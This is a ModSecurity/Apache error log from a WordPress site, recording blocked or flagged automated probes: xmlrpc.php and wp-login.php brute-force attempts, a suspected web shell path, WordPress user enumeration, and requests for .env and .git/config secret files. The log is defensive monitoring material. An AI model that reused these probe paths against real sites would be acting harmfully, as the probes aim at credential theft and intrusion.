[Mon Nov 24 22:50:07.762627 2025] [:error] [pid 16549:tid 16563] [client 119.28.89.249:54202] [client 119.28.89.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSRwn6eWW19A99PUw_dxwwAAAUs"]
[Tue Nov 25 00:02:37.804420 2025] [:error] [pid 16593:tid 16599] [client 178.212.148.253:7190] [client 178.212.148.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.212.148.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSSBnRVGznHBJI2LKpSARwAAAoQ"]
[Tue Nov 25 00:55:14.285605 2025] [:error] [pid 9630:tid 9650] [client 212.132.70.123:41580] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSSN8irSgUgPGkizt2poYgAAAFI"]
[Tue Nov 25 02:34:48.578183 2025] [:error] [pid 48688:tid 48716] [client 50.116.31.125:43478] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSSlSBm2q1FkzLam7A0CHwAAAlg"]
[Tue Nov 25 04:05:39.375822 2025] [:error] [pid 14078:tid 14151] [client 173.212.218.121:37832] [client 173.212.218.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.212.218.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSS6k9VXYbb0ii_rVoI0jAAAAI4"]
[Tue Nov 25 04:59:34.828633 2025] [:error] [pid 14168:tid 14175] [client 157.230.24.5:48540] [client 157.230.24.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.24.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSTHNvR-ZDU0QEgAIItmbQAAAMQ"]
[Tue Nov 25 05:49:30.222287 2025] [:error] [pid 1103:tid 1113] [client 47.112.15.66:58300] [client 47.112.15.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.112.15.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSTS6o0LETdqOlq63sT_zQAAAUQ"]
[Tue Nov 25 06:50:39.989485 2025] [:error] [pid 14077:tid 14128] [client 193.36.224.99:56707] [client 193.36.224.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "aSThPxG9n7UHEkwDTyhkYgAAAFI"]
[Tue Nov 25 06:50:40.470476 2025] [:error] [pid 14688:tid 14692] [client 136.144.19.102:35229] [client 136.144.19.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "aSThQG9vYrBoEsiDniz6igAAAQI"]
[Tue Nov 25 06:50:40.950103 2025] [:error] [pid 14078:tid 14137] [client 136.144.19.249:23747] [client 136.144.19.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "aSThQNVXYbb0ii_rVoJfwwAAAIA"]
[Tue Nov 25 06:54:18.376891 2025] [:error] [pid 1103:tid 1133] [client 5.223.50.243:37316] [client 5.223.50.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.223.50.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSTiGo0LETdqOlq63sQZQwAAAVg"]
[Tue Nov 25 07:24:19.176963 2025] [autoindex:error] [pid 14168:tid 14177] [client 64.227.159.42:55090] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 25 07:39:46.957468 2025] [:error] [pid 14688:tid 14705] [client 178.33.162.49:42026] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSTswm9vYrBoEsiDniwGsQAAAQ8"]
[Tue Nov 25 09:37:35.464746 2025] [:error] [pid 14076:tid 14094] [client 92.62.236.60:45842] [client 92.62.236.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.62.236.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSUIX3sB4Gz6Qw-pvBtISgAAAA0"]
[Tue Nov 25 10:36:18.560922 2025] [:error] [pid 14168:tid 14193] [client 13.215.220.218:56494] [client 13.215.220.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.215.220.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSUWIvR-ZDU0QEgAIIvILQAAANY"]
[Tue Nov 25 11:35:06.480978 2025] [:error] [pid 28740:tid 28798] [client 188.165.95.76:49340] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSUj6lppQCoYxWW6V0X8yQAAAkc"]
[Tue Nov 25 13:32:10.079775 2025] [:error] [pid 14168:tid 14175] [client 185.209.30.45:52920] [client 185.209.30.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.209.30.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSU_WvR-ZDU0QEgAIIsLCwAAAMQ"]
[Tue Nov 25 13:47:48.954827 2025] [:error] [pid 14078:tid 14138] [client 49.51.203.164:42634] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSVDBNVXYbb0ii_rVoLkTwAAAIE"]
[Tue Nov 25 13:55:35.465261 2025] [:error] [pid 28842:tid 29024] [client 91.224.92.198:58827] [client 91.224.92.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.224.92.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSVE19NmoaPf6T4-6C0kfQAAA1Y"]
[Tue Nov 25 13:55:42.329722 2025] [:error] [pid 28740:tid 28805] [client 91.224.92.198:51736] [client 91.224.92.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.224.92.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSVE3lppQCoYxWW6V0UiQAAAAk4"], referer: http://rcacivilgroup.com/wp-login.php
[Tue Nov 25 13:55:56.808690 2025] [:error] [pid 28740:tid 28796] [client 91.224.92.198:51736] [client 91.224.92.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.224.92.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSVE7FppQCoYxWW6V0UiWwAAAkU"], referer: http://rcacivilgroup.com/wp-login.php
[Tue Nov 25 13:59:41.767228 2025] [:error] [pid 14077:tid 14122] [client 103.216.221.94:8817] [client 103.216.221.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.221.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVFzRG9n7UHEkwDTyj6DQAAAEw"]
[Tue Nov 25 14:27:12.470097 2025] [:error] [pid 28609:tid 28622] [client 103.216.221.94:28936] [client 103.216.221.94] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aSVMQCGGdT-nZJVs3x19rgAAAYQ"]
[Tue Nov 25 14:28:59.823402 2025] [:error] [pid 28739:tid 28778] [client 103.216.221.94:43406] [client 103.216.221.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.221.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVMqxxGpKmlkG4FexQ3qQAAAhA"]
[Tue Nov 25 14:31:21.305472 2025] [:error] [pid 14168:tid 14195] [client 82.223.66.26:46974] [client 82.223.66.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.66.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVNOfR-ZDU0QEgAIIsgLwAAANg"]
[Tue Nov 25 14:59:19.734003 2025] [:error] [pid 14077:tid 14117] [client 221.229.106.25:58634] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSVTxxG9n7UHEkwDTygWHAAAAEc"]
[Tue Nov 25 15:11:35.815190 2025] [autoindex:error] [pid 28609:tid 28642] [client 75.119.143.158:65513] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 25 15:54:35.844586 2025] [:error] [pid 14077:tid 14112] [client 95.168.208.102:46528] [client 95.168.208.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.168.208.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVguxG9n7UHEkwDTygyTgAAAEI"]
[Tue Nov 25 16:01:08.846778 2025] [:error] [pid 14077:tid 14110] [client 184.168.123.167:55768] [client 184.168.123.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.123.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSViRBG9n7UHEkwDTyg0zgAAAEA"]
[Tue Nov 25 16:01:34.487227 2025] [:error] [pid 14078:tid 14161] [client 184.168.123.167:51912] [client 184.168.123.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.123.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSViXtVXYbb0ii_rVoIK7wAAAJg"]
[Tue Nov 25 16:18:50.225826 2025] [:error] [pid 28609:tid 28624] [client 202.45.144.44:23851] [client 202.45.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.45.144.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVmaiGGdT-nZJVs3x2YUQAAAYY"]
[Tue Nov 25 16:19:01.660711 2025] [:error] [pid 14078:tid 14148] [client 202.45.144.44:26145] [client 202.45.144.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.45.144.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVmddVXYbb0ii_rVoINqQAAAIs"]
[Tue Nov 25 16:37:39.519878 2025] [:error] [pid 28842:tid 28994] [client 162.240.102.83:48308] [client 162.240.102.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.102.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVq09NmoaPf6T4-6C1WgwAAA0Q"]
[Tue Nov 25 16:38:52.540775 2025] [:error] [pid 14168:tid 14189] [client 52.242.231.163:31306] [client 52.242.231.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.231.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSVrHPR-ZDU0QEgAIItAqQAAANI"]
[Tue Nov 25 17:00:32.945063 2025] [:error] [pid 28739:tid 28774] [client 134.199.174.53:59002] [client 134.199.174.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.174.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSVwMBxGpKmlkG4FexRXjAAAAgw"]
[Tue Nov 25 17:00:34.201111 2025] [:error] [pid 28740:tid 28814] [client 134.199.174.53:50338] [client 134.199.174.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.174.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSVwMlppQCoYxWW6V0VQRgAAAlc"]
[Tue Nov 25 17:20:21.435278 2025] [:error] [pid 14168:tid 14190] [client 202.32.159.84:59336] [client 202.32.159.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.32.159.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV01fR-ZDU0QEgAIItHPQAAANM"]
[Tue Nov 25 17:20:23.070520 2025] [:error] [pid 14168:tid 14186] [client 202.32.159.84:59336] [client 202.32.159.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.32.159.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV01_R-ZDU0QEgAIItHQAAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 17:32:15.734192 2025] [:error] [pid 28609:tid 28636] [client 66.29.131.73:56628] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "aSV3nyGGdT-nZJVs3x2m1AAAAZI"]
[Tue Nov 25 17:32:15.743511 2025] [:error] [pid 14078:tid 14156] [client 66.29.131.73:56652] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "aSV3n9VXYbb0ii_rVoIgTAAAAJM"]
[Tue Nov 25 17:32:15.751100 2025] [:error] [pid 28609:tid 28633] [client 66.29.131.73:56626] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aSV3nyGGdT-nZJVs3x2m1QAAAY8"]
[Tue Nov 25 17:32:15.751792 2025] [:error] [pid 28740:tid 28811] [client 66.29.131.73:56642] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/core/.env"] [unique_id "aSV3n1ppQCoYxWW6V0VZDQAAAlQ"]
[Tue Nov 25 17:32:16.085769 2025] [:error] [pid 28609:tid 28624] [client 66.29.131.73:56690] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env"] [unique_id "aSV3oCGGdT-nZJVs3x2m1gAAAYY"]
[Tue Nov 25 17:32:16.085912 2025] [:error] [pid 14077:tid 14116] [client 66.29.131.73:56688] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aSV3oBG9n7UHEkwDTyhY5AAAAEY"]
[Tue Nov 25 17:32:16.116417 2025] [:error] [pid 14077:tid 14125] [client 66.29.131.73:56700] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.save"] [unique_id "aSV3oBG9n7UHEkwDTyhY5QAAAE8"]
[Tue Nov 25 17:32:16.190447 2025] [:error] [pid 28609:tid 28631] [client 66.29.131.73:56704] [client 66.29.131.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env"] [unique_id "aSV3oCGGdT-nZJVs3x2m1wAAAY0"]
[Tue Nov 25 17:43:32.314209 2025] [:error] [pid 28836:tid 28966] [client 192.250.224.148:59964] [client 192.250.224.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.224.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV6RJwNRsoxcLQGkTem8AAAAss"]
[Tue Nov 25 17:43:35.256027 2025] [:error] [pid 28836:tid 29013] [client 192.250.224.148:59966] [client 192.250.224.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.224.148, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV6R5wNRsoxcLQGkTem9gAAAtc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 17:47:53.185798 2025] [:error] [pid 14076:tid 14096] [client 185.52.1.173:45300] [client 185.52.1.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.52.1.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSV7SXsB4Gz6Qw-pvBv5zAAAAA8"]
[Tue Nov 25 18:04:40.648888 2025] [:error] [pid 28609:tid 28620] [client 162.43.101.178:48538] [client 162.43.101.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.43.101.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV_OCGGdT-nZJVs3x2vOgAAAYI"]
[Tue Nov 25 18:04:44.568898 2025] [:error] [pid 28609:tid 28642] [client 162.43.101.178:48538] [client 162.43.101.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.43.101.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSV_PCGGdT-nZJVs3x2vPwAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 18:07:51.543657 2025] [:error] [pid 28842:tid 28993] [client 85.206.169.20:56006] [client 85.206.169.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.206.169.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSV_99NmoaPf6T4-6C100QAAA0M"]
[Tue Nov 25 18:24:18.555698 2025] [:error] [pid 28842:tid 29017] [client 128.65.195.78:52372] [client 128.65.195.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.65.195.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWD0tNmoaPf6T4-6C16sQAAA1A"]
[Tue Nov 25 18:24:24.310245 2025] [:error] [pid 28842:tid 29018] [client 128.65.195.78:52372] [client 128.65.195.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.65.195.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSWD2NNmoaPf6T4-6C16uQAAA1E"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 25 18:33:21.066737 2025] [:error] [pid 14077:tid 14129] [client 54.173.250.15:50892] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSWF8RG9n7UHEkwDTyh1YgAAAFM"]
